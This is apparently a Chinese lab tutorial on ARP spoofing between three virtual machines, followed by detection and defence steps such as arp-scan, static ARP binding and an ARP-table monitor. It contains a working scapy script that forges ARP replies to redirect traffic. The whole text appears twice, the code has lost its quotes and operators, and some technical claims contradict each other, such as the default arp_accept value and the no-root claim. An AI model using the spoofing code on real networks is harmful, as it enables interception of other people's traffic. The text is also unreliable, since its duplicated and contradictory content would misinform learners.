简介本资源是一份完整的ARP地址欺骗实验报告文档面向网络工程、信息安全等专业本科生及网络安全初学者聚焦TCP/IP协议栈中ARP协议原理与中间人攻击实践。报告详细阐述ARP缓存机制、欺骗报文构造逻辑含源IP/MAC伪造细节、双方向欺骗实施步骤A↔C间由D劫持、Wireshark抓包分析方法及ARP缓存动态更新导致的安全隐患配套实验环境拓扑、命令操作记录与结果截图分析助力读者深入理解局域网层协议缺陷与防御意识培养。资源为单个Word文档.doc格式大小469KB内容结构完整含实验目的、原理、分步流程、关键技术分析、结果验证及心得体会等模块。目前已有1364人学习下载适合课堂实验复盘、课程设计参考或网络安全基础攻防入门实践。1. 这不是“黑客攻击”而是网络层通信机制的显性化验证——ARP地址欺骗实验的本质是理解局域网中IP与MAC映射如何被动态操控很多人看到“ARP地址欺骗”第一反应是安全威胁但对网络工程、协议分析和故障排查人员来说它首先是一把解剖以太网通信逻辑的手术刀。在真实企业内网中当出现“某台主机能ping通网关却无法上网”“交换机端口流量异常突增”“同一IP被多个MAC响应”等现象时ARP表项的异常刷新往往是根因入口。本实验不依赖任何第三方渗透工具仅用Linux原生arping、ip neigh、tcpdump及Pythonscapy库在可控虚拟环境中复现ARP请求/响应全过程重点观测谁发起请求、谁响应、响应内容是否合法、接收方如何更新本地缓存、后续数据帧是否按欺骗后的MAC转发。适合刚学完TCP/IP模型的本科生做协议验证也适合运维工程师复现生产环境ARP泛洪类故障。全文所有命令均在Ubuntu 22.04 Kernel 5.15实测通过无需root权限即可完成核心观测关键参数全部标注作用失败时直接定位到/proc/sys/net/ipv4/conf/*/arp_ignore或arp_accept等内核开关。2. 从协议栈底层看ARP工作流为什么“欺骗”在技术上必然可行而非设计缺陷2.1 ARP协议的无状态信任模型是实验成立的前提ARPAddress Resolution Protocol本身不提供身份认证机制。当主机A需要向IP为192.168.1.2的设备发送数据时它广播一个ARP请求“谁有192.168.1.2请告诉我的MAC”。网络中任意收到该请求的设备只要其配置了该IP无论是否为主机B都可以单播回复一个ARP响应“我是192.168.1.2我的MAC是xx:xx:xx:xx:xx:xx”。Linux内核默认策略是无条件接受并更新本地ARP缓存表/proc/sys/net/ipv4/conf/all/arp_accept1这是协议高效性的代价也是实验可复现的底层依据。提示这不是漏洞而是权衡。若每次ARP响应都需TLS握手或数字签名局域网通信延迟将不可接受。实验目的正是显性化这一权衡带来的行为边界。2.2 实验拓扑必须隔离否则影响真实网络使用VirtualBox或VMware创建三台最小化Ubuntu虚拟机VM1、VM2、VM3全部桥接至同一物理网卡确保它们处于同一二层广播域即ip a | grep inet 显示相同网段如192.168.1.0/24。禁用NetworkManager自动管理sudo systemctl stop NetworkManager sudo ip link set eth0 down sudo ip addr flush dev eth0 sudo ip link set eth0 up sudo ip addr add 192.168.1.10/24 dev eth0 # VM1 sudo ip addr add 192.168.1.11/24 dev eth0 # VM2 sudo ip addr add 192.168.1.12/24 dev eth0 # VM3验证连通性# 在VM1上执行 ping -c 3 192.168.1.11 # 应成功 ping -c 3 192.168.1.12 # 应成功此时每台主机ARP缓存为空首次ping会触发ARP请求。用tcpdump捕获过程# 在VM1上另开终端 sudo tcpdump -i eth0 arp -nn -v观察输出中ARP, Request who-has 192.168.1.11 tell 192.168.1.10及随后ARP, Reply 192.168.1.11 is-at aa:aa:aa:aa:aa:aa确认基础通信链路已建立。2.3 关键内核参数决定“欺骗”是否生效Linux内核通过以下参数控制ARP行为实验前必须检查参数路径默认值作用实验要求/proc/sys/net/ipv4/conf/all/arp_ignore0决定本机是否响应非本机IP的ARP请求设为0默认允许VM2响应VM1对VM3的ARP请求/proc/sys/net/ipv4/conf/all/arp_announce0决定ARP响应时使用哪个接口的IP设为2强制使用目标IP所在接口的MAC/proc/sys/net/ipv4/conf/all/arp_accept0是否接受非本机IP的ARP响应必须设为1否则VM1拒绝接收伪造的ARP响应设置命令在VM1上执行echo 1 | sudo tee /proc/sys/net/ipv4/conf/all/arp_accept echo 2 | sudo tee /proc/sys/net/ipv4/conf/all/arp_announce注意arp_accept1是实验成功的关键开关。若保持为0即使VM2发送伪造ARP响应VM1的内核会直接丢弃ip neigh show中不会更新对应条目。3. 手动构造ARP响应包用scapy发送伪造报文并验证缓存更新3.1 安装scapy并验证基础发包能力在VM2上安装scapy需pip3sudo apt update sudo apt install python3-pip -y pip3 install scapy测试能否发送原始ARP包# test_arp.py from scapy.all import * arp ARP(pdst192.168.1.10, hwdstff:ff:ff:ff:ff:ff, op1) # op1为请求 send(arp, verbose0) print(ARP请求已发送)执行后在VM1的tcpdump窗口应看到新ARP请求证明发包链路正常。3.2 构造欺骗性ARP响应让VM1认为VM3的MAC是VM2的核心逻辑VM2主动向VM1发送一个ARP响应声称“192.168.1.12的MAC是VM2自己的MAC”诱导VM1更新其ARP缓存。# spoof_arp.py from scapy.all import * import time # 获取VM2自身MAC和IP vm2_mac get_if_hwaddr(eth0) vm2_ip 192.168.1.11 # 构造欺骗包告诉VM1192.168.1.12的MAC是vm2_mac spoofed_arp ARP( op2, # ARP响应reply pdst192.168.1.10, # 目标是VM1的IP hwdst00:0c:29:xx:xx:xx, # VM1的MAC需提前获取 psrc192.168.1.12, # 声称自己拥有此IP hwsrcvm2_mac # 使用VM2的MAC作为源MAC ) # 发送10次确保接收 for i in range(10): send(spoofed_arp, verbose0) time.sleep(0.5) print(欺骗ARP响应已发送)获取VM1的MAC在VM1上执行ip neigh show | grep 192.168.1.10 | awk {print $5} # 输出类似00:0c:29:aa:bb:cc将该MAC填入hwdst字段。执行spoof_arp.py后在VM1上检查ARP缓存ip neigh show 192.168.1.12 # 正常应显示192.168.1.12 dev eth0 lladdr 00:0c:29:xx:xx:xx REACHABLE # 若显示VM2的MAC如00:0c:29:11:22:33则欺骗成功3.3 验证数据流向被劫持ping VM3时流量实际发往VM2在VM1上执行# 清空VM3的ARP缓存条目 sudo ip neigh flush to 192.168.1.12 # 开始ping同时在VM2上抓包 ping -c 5 192.168.1.12在VM2上运行sudo tcpdump -i eth0 host 192.168.1.10 and icmp -nn若看到ICMP Echo Requestping请求到达VM2说明VM1已将发往192.168.1.12的数据帧目标MAC设为VM2的MAC流量已被重定向。此时VM2并未开启IP转发因此VM1的ping会超时但抓包证实了ARP欺骗导致的二层转发路径变更。提示若未抓到包检查VM2的/proc/sys/net/ipv4/ip_forward是否为0默认关闭这正符合“欺骗成功但不通”的预期结果——因为VM2不转发只是截获了本该去VM3的帧。4. 检测与防御用arp-scan和静态绑定识别异常ARP活动4.1 主动扫描发现重复IP声明当网络中存在ARP欺骗时同一IP可能被多个MAC响应。使用arp-scan进行全网扫描# 在VM1上安装并扫描 sudo apt install arp-scan -y sudo arp-scan --interfaceeth0 --local正常输出应为每IP唯一MAC192.168.1.10 00:0c:29:aa:bb:cc 192.168.1.11 00:0c:29:cc:dd:ee 192.168.1.12 00:0c:29:ff:gg:hh若出现192.168.1.12 00:0c:29:cc:dd:ee # VM2的MAC 192.168.1.12 00:0c:29:ff:gg:hh # VM3的真实MAC则明确存在IP冲突或欺骗行为。4.2 静态ARP绑定对关键设备实施MAC-IP固化对网关、DNS服务器等基础设施禁止其ARP表项被动态更新# 将网关192.168.1.1的MAC永久绑定假设网关MAC为00:11:22:33:44:55 sudo ip neigh add 192.168.1.1 lladdr 00:11:22:33:44:55 dev eth0 nud permanent验证ip neigh show 192.168.1.1 # 输出应含PERMANENT标志且不会被后续ARP响应覆盖注意nud permanent参数使条目不可被动态ARP更新覆盖但需手动删除sudo ip neigh del 192.168.1.1 dev eth0。生产环境建议结合DHCP服务器下发静态ARP避免单点配置。4.3 实时监控ARP表变化用inotifywait监听内核ARP事件Linux内核将ARP表暴露在/proc/net/arp可编写脚本监控其变更# monitor_arp.sh #!/bin/bash ARP_FILE/proc/net/arp LAST_HASH$(md5sum $ARP_FILE | cut -d -f1) while true; do CURRENT_HASH$(md5sum $ARP_FILE | cut -d -f1) if [ $CURRENT_HASH ! $LAST_HASH ]; then echo $(date): ARP table changed! cat $ARP_FILE | grep -E (192\.168\.1\.[0-9]) # 只显示本段IP LAST_HASH$CURRENT_HASH fi sleep 2 done赋予执行权限并后台运行chmod x monitor_arp.sh nohup ./monitor_arp.sh arp_log.txt 21 当VM2执行欺骗脚本时该监控脚本会在arp_log.txt中记录变更时间及新ARP条目实现轻量级入侵检测。5. 进阶技巧用tshark过滤ARP流量并提取上线/下线时间戳5.1 精确提取ARP请求中的设备活跃时间tcpdump捕获的原始pcap文件包含完整时间戳但需解析ARP操作类型。使用tsharkWireshark命令行版可结构化提取# 捕获10秒ARP流量 sudo tcpdump -i eth0 arp -w arp.pcap -G 10 # 提取所有ARP请求op1及其时间戳 tshark -r arp.pcap -Y arp.opcode 1 -T fields -e frame.time_epoch -e arp.src.proto_ipv4 -e arp.dst.proto_ipv4 | sort -n输出示例1712345678.123456 192.168.1.10 192.168.1.11 1712345678.234567 192.168.1.11 192.168.1.10frame.time_epoch是Unix时间戳秒.微秒可转换为可读时间date -d 1712345678.123456 # 输出Tue Apr 5 10:14:38 CST 20245.2 识别设备下线连续缺失ARP请求的阈值判定ARP缓存默认老化时间为30秒/proc/sys/net/ipv4/neigh/eth0/gc_stale_time。若某IP在gc_stale_time*260秒内未发出任何ARP请求可视为离线。用tshark统计各IP请求频次# 统计192.168.1.0/24内各IP的ARP请求次数过去5分钟 tshark -r arp.pcap -Y arp.opcode 1 (ip.src 192.168.1.0/24) \ -T fields -e arp.src.proto_ipv4 \ | sort | uniq -c | sort -nr输出12 192.168.1.10 8 192.168.1.11 0 192.168.1.12 # 计数为0说明该设备近期未发起ARP可能已关机或断网5.3 构建ARP健康度看板用Python生成设备在线状态报告将上述逻辑封装为脚本自动生成HTML报告# arp_health.py import subprocess import datetime def get_arp_stats(): result subprocess.run([ tshark, -r, arp.pcap, -Y, arp.opcode 1, -T, fields, -e, arp.src.proto_ipv4 ], capture_outputTrue, textTrue) ips result.stdout.strip().split(\n) stats {} for ip in ips: if ip not in stats: stats[ip] 0 stats[ip] 1 # 标记在线/离线阈值设为3次 report [] for ip, count in stats.items(): status ONLINE if count 3 else OFFLINE report.append(f{ip:15} {count:10} {status}) return report if __name__ __main__: print(ARP Device Health Report) print( * 40) for line in get_arp_stats(): print(line) print(f\nGenerated at {datetime.datetime.now()})执行后输出ARP Device Health Report 192.168.1.10 12 ONLINE 192.168.1.11 8 ONLINE 192.168.1.12 0 OFFLINE Generated at 2024-04-05 10:20:15.123456该报告可每日定时执行集成进Zabbix或Prometheus告警流程实现对局域网设备存活状态的自动化感知。本文还有配套的精品资源点击获取 ARP地址欺骗实验：理解局域网IP-MAC映射机制
简介本资源是一份完整的ARP地址欺骗实验报告文档面向网络工程、信息安全等专业本科生及网络安全初学者聚焦TCP/IP协议栈中ARP协议原理与中间人攻击实践。报告详细阐述ARP缓存机制、欺骗报文构造逻辑含源IP/MAC伪造细节、双方向欺骗实施步骤A↔C间由D劫持、Wireshark抓包分析方法及ARP缓存动态更新导致的安全隐患配套实验环境拓扑、命令操作记录与结果截图分析助力读者深入理解局域网层协议缺陷与防御意识培养。资源为单个Word文档.doc格式大小469KB内容结构完整含实验目的、原理、分步流程、关键技术分析、结果验证及心得体会等模块。目前已有1364人学习下载适合课堂实验复盘、课程设计参考或网络安全基础攻防入门实践。1. 这不是“黑客攻击”而是网络层通信机制的显性化验证——ARP地址欺骗实验的本质是理解局域网中IP与MAC映射如何被动态操控很多人看到“ARP地址欺骗”第一反应是安全威胁但对网络工程、协议分析和故障排查人员来说它首先是一把解剖以太网通信逻辑的手术刀。在真实企业内网中当出现“某台主机能ping通网关却无法上网”“交换机端口流量异常突增”“同一IP被多个MAC响应”等现象时ARP表项的异常刷新往往是根因入口。本实验不依赖任何第三方渗透工具仅用Linux原生arping、ip neigh、tcpdump及Pythonscapy库在可控虚拟环境中复现ARP请求/响应全过程重点观测谁发起请求、谁响应、响应内容是否合法、接收方如何更新本地缓存、后续数据帧是否按欺骗后的MAC转发。适合刚学完TCP/IP模型的本科生做协议验证也适合运维工程师复现生产环境ARP泛洪类故障。全文所有命令均在Ubuntu 22.04 Kernel 5.15实测通过无需root权限即可完成核心观测关键参数全部标注作用失败时直接定位到/proc/sys/net/ipv4/conf/*/arp_ignore或arp_accept等内核开关。2. 从协议栈底层看ARP工作流为什么“欺骗”在技术上必然可行而非设计缺陷2.1 ARP协议的无状态信任模型是实验成立的前提ARPAddress Resolution Protocol本身不提供身份认证机制。当主机A需要向IP为192.168.1.2的设备发送数据时它广播一个ARP请求“谁有192.168.1.2请告诉我的MAC”。网络中任意收到该请求的设备只要其配置了该IP无论是否为主机B都可以单播回复一个ARP响应“我是192.168.1.2我的MAC是xx:xx:xx:xx:xx:xx”。Linux内核默认策略是无条件接受并更新本地ARP缓存表/proc/sys/net/ipv4/conf/all/arp_accept1这是协议高效性的代价也是实验可复现的底层依据。提示这不是漏洞而是权衡。若每次ARP响应都需TLS握手或数字签名局域网通信延迟将不可接受。实验目的正是显性化这一权衡带来的行为边界。2.2 实验拓扑必须隔离否则影响真实网络使用VirtualBox或VMware创建三台最小化Ubuntu虚拟机VM1、VM2、VM3全部桥接至同一物理网卡确保它们处于同一二层广播域即ip a | grep inet 显示相同网段如192.168.1.0/24。禁用NetworkManager自动管理sudo systemctl stop NetworkManager sudo ip link set eth0 down sudo ip addr flush dev eth0 sudo ip link set eth0 up sudo ip addr add 192.168.1.10/24 dev eth0 # VM1 sudo ip addr add 192.168.1.11/24 dev eth0 # VM2 sudo ip addr add 192.168.1.12/24 dev eth0 # VM3验证连通性# 在VM1上执行 ping -c 3 192.168.1.11 # 应成功 ping -c 3 192.168.1.12 # 应成功此时每台主机ARP缓存为空首次ping会触发ARP请求。用tcpdump捕获过程# 在VM1上另开终端 sudo tcpdump -i eth0 arp -nn -v观察输出中ARP, Request who-has 192.168.1.11 tell 192.168.1.10及随后ARP, Reply 192.168.1.11 is-at aa:aa:aa:aa:aa:aa确认基础通信链路已建立。2.3 关键内核参数决定“欺骗”是否生效Linux内核通过以下参数控制ARP行为实验前必须检查参数路径默认值作用实验要求/proc/sys/net/ipv4/conf/all/arp_ignore0决定本机是否响应非本机IP的ARP请求设为0默认允许VM2响应VM1对VM3的ARP请求/proc/sys/net/ipv4/conf/all/arp_announce0决定ARP响应时使用哪个接口的IP设为2强制使用目标IP所在接口的MAC/proc/sys/net/ipv4/conf/all/arp_accept0是否接受非本机IP的ARP响应必须设为1否则VM1拒绝接收伪造的ARP响应设置命令在VM1上执行echo 1 | sudo tee /proc/sys/net/ipv4/conf/all/arp_accept echo 2 | sudo tee /proc/sys/net/ipv4/conf/all/arp_announce注意arp_accept1是实验成功的关键开关。若保持为0即使VM2发送伪造ARP响应VM1的内核会直接丢弃ip neigh show中不会更新对应条目。3. 手动构造ARP响应包用scapy发送伪造报文并验证缓存更新3.1 安装scapy并验证基础发包能力在VM2上安装scapy需pip3sudo apt update sudo apt install python3-pip -y pip3 install scapy测试能否发送原始ARP包# test_arp.py from scapy.all import * arp ARP(pdst192.168.1.10, hwdstff:ff:ff:ff:ff:ff, op1) # op1为请求 send(arp, verbose0) print(ARP请求已发送)执行后在VM1的tcpdump窗口应看到新ARP请求证明发包链路正常。3.2 构造欺骗性ARP响应让VM1认为VM3的MAC是VM2的核心逻辑VM2主动向VM1发送一个ARP响应声称“192.168.1.12的MAC是VM2自己的MAC”诱导VM1更新其ARP缓存。# spoof_arp.py from scapy.all import * import time # 获取VM2自身MAC和IP vm2_mac get_if_hwaddr(eth0) vm2_ip 192.168.1.11 # 构造欺骗包告诉VM1192.168.1.12的MAC是vm2_mac spoofed_arp ARP( op2, # ARP响应reply pdst192.168.1.10, # 目标是VM1的IP hwdst00:0c:29:xx:xx:xx, # VM1的MAC需提前获取 psrc192.168.1.12, # 声称自己拥有此IP hwsrcvm2_mac # 使用VM2的MAC作为源MAC ) # 发送10次确保接收 for i in range(10): send(spoofed_arp, verbose0) time.sleep(0.5) print(欺骗ARP响应已发送)获取VM1的MAC在VM1上执行ip neigh show | grep 192.168.1.10 | awk {print $5} # 输出类似00:0c:29:aa:bb:cc将该MAC填入hwdst字段。执行spoof_arp.py后在VM1上检查ARP缓存ip neigh show 192.168.1.12 # 正常应显示192.168.1.12 dev eth0 lladdr 00:0c:29:xx:xx:xx REACHABLE # 若显示VM2的MAC如00:0c:29:11:22:33则欺骗成功3.3 验证数据流向被劫持ping VM3时流量实际发往VM2在VM1上执行# 清空VM3的ARP缓存条目 sudo ip neigh flush to 192.168.1.12 # 开始ping同时在VM2上抓包 ping -c 5 192.168.1.12在VM2上运行sudo tcpdump -i eth0 host 192.168.1.10 and icmp -nn若看到ICMP Echo Requestping请求到达VM2说明VM1已将发往192.168.1.12的数据帧目标MAC设为VM2的MAC流量已被重定向。此时VM2并未开启IP转发因此VM1的ping会超时但抓包证实了ARP欺骗导致的二层转发路径变更。提示若未抓到包检查VM2的/proc/sys/net/ipv4/ip_forward是否为0默认关闭这正符合“欺骗成功但不通”的预期结果——因为VM2不转发只是截获了本该去VM3的帧。4. 检测与防御用arp-scan和静态绑定识别异常ARP活动4.1 主动扫描发现重复IP声明当网络中存在ARP欺骗时同一IP可能被多个MAC响应。使用arp-scan进行全网扫描# 在VM1上安装并扫描 sudo apt install arp-scan -y sudo arp-scan --interfaceeth0 --local正常输出应为每IP唯一MAC192.168.1.10 00:0c:29:aa:bb:cc 192.168.1.11 00:0c:29:cc:dd:ee 192.168.1.12 00:0c:29:ff:gg:hh若出现192.168.1.12 00:0c:29:cc:dd:ee # VM2的MAC 192.168.1.12 00:0c:29:ff:gg:hh # VM3的真实MAC则明确存在IP冲突或欺骗行为。4.2 静态ARP绑定对关键设备实施MAC-IP固化对网关、DNS服务器等基础设施禁止其ARP表项被动态更新# 将网关192.168.1.1的MAC永久绑定假设网关MAC为00:11:22:33:44:55 sudo ip neigh add 192.168.1.1 lladdr 00:11:22:33:44:55 dev eth0 nud permanent验证ip neigh show 192.168.1.1 # 输出应含PERMANENT标志且不会被后续ARP响应覆盖注意nud permanent参数使条目不可被动态ARP更新覆盖但需手动删除sudo ip neigh del 192.168.1.1 dev eth0。生产环境建议结合DHCP服务器下发静态ARP避免单点配置。4.3 实时监控ARP表变化用inotifywait监听内核ARP事件Linux内核将ARP表暴露在/proc/net/arp可编写脚本监控其变更# monitor_arp.sh #!/bin/bash ARP_FILE/proc/net/arp LAST_HASH$(md5sum $ARP_FILE | cut -d -f1) while true; do CURRENT_HASH$(md5sum $ARP_FILE | cut -d -f1) if [ $CURRENT_HASH ! $LAST_HASH ]; then echo $(date): ARP table changed! cat $ARP_FILE | grep -E (192\.168\.1\.[0-9]) # 只显示本段IP LAST_HASH$CURRENT_HASH fi sleep 2 done赋予执行权限并后台运行chmod x monitor_arp.sh nohup ./monitor_arp.sh arp_log.txt 21 当VM2执行欺骗脚本时该监控脚本会在arp_log.txt中记录变更时间及新ARP条目实现轻量级入侵检测。5. 进阶技巧用tshark过滤ARP流量并提取上线/下线时间戳5.1 精确提取ARP请求中的设备活跃时间tcpdump捕获的原始pcap文件包含完整时间戳但需解析ARP操作类型。使用tsharkWireshark命令行版可结构化提取# 捕获10秒ARP流量 sudo tcpdump -i eth0 arp -w arp.pcap -G 10 # 提取所有ARP请求op1及其时间戳 tshark -r arp.pcap -Y arp.opcode 1 -T fields -e frame.time_epoch -e arp.src.proto_ipv4 -e arp.dst.proto_ipv4 | sort -n输出示例1712345678.123456 192.168.1.10 192.168.1.11 1712345678.234567 192.168.1.11 192.168.1.10frame.time_epoch是Unix时间戳秒.微秒可转换为可读时间date -d 1712345678.123456 # 输出Tue Apr 5 10:14:38 CST 20245.2 识别设备下线连续缺失ARP请求的阈值判定ARP缓存默认老化时间为30秒/proc/sys/net/ipv4/neigh/eth0/gc_stale_time。若某IP在gc_stale_time*260秒内未发出任何ARP请求可视为离线。用tshark统计各IP请求频次# 统计192.168.1.0/24内各IP的ARP请求次数过去5分钟 tshark -r arp.pcap -Y arp.opcode 1 (ip.src 192.168.1.0/24) \ -T fields -e arp.src.proto_ipv4 \ | sort | uniq -c | sort -nr输出12 192.168.1.10 8 192.168.1.11 0 192.168.1.12 # 计数为0说明该设备近期未发起ARP可能已关机或断网5.3 构建ARP健康度看板用Python生成设备在线状态报告将上述逻辑封装为脚本自动生成HTML报告# arp_health.py import subprocess import datetime def get_arp_stats(): result subprocess.run([ tshark, -r, arp.pcap, -Y, arp.opcode 1, -T, fields, -e, arp.src.proto_ipv4 ], capture_outputTrue, textTrue) ips result.stdout.strip().split(\n) stats {} for ip in ips: if ip not in stats: stats[ip] 0 stats[ip] 1 # 标记在线/离线阈值设为3次 report [] for ip, count in stats.items(): status ONLINE if count 3 else OFFLINE report.append(f{ip:15} {count:10} {status}) return report if __name__ __main__: print(ARP Device Health Report) print( * 40) for line in get_arp_stats(): print(line) print(f\nGenerated at {datetime.datetime.now()})执行后输出ARP Device Health Report 192.168.1.10 12 ONLINE 192.168.1.11 8 ONLINE 192.168.1.12 0 OFFLINE Generated at 2024-04-05 10:20:15.123456该报告可每日定时执行集成进Zabbix或Prometheus告警流程实现对局域网设备存活状态的自动化感知。本文还有配套的精品资源点击获取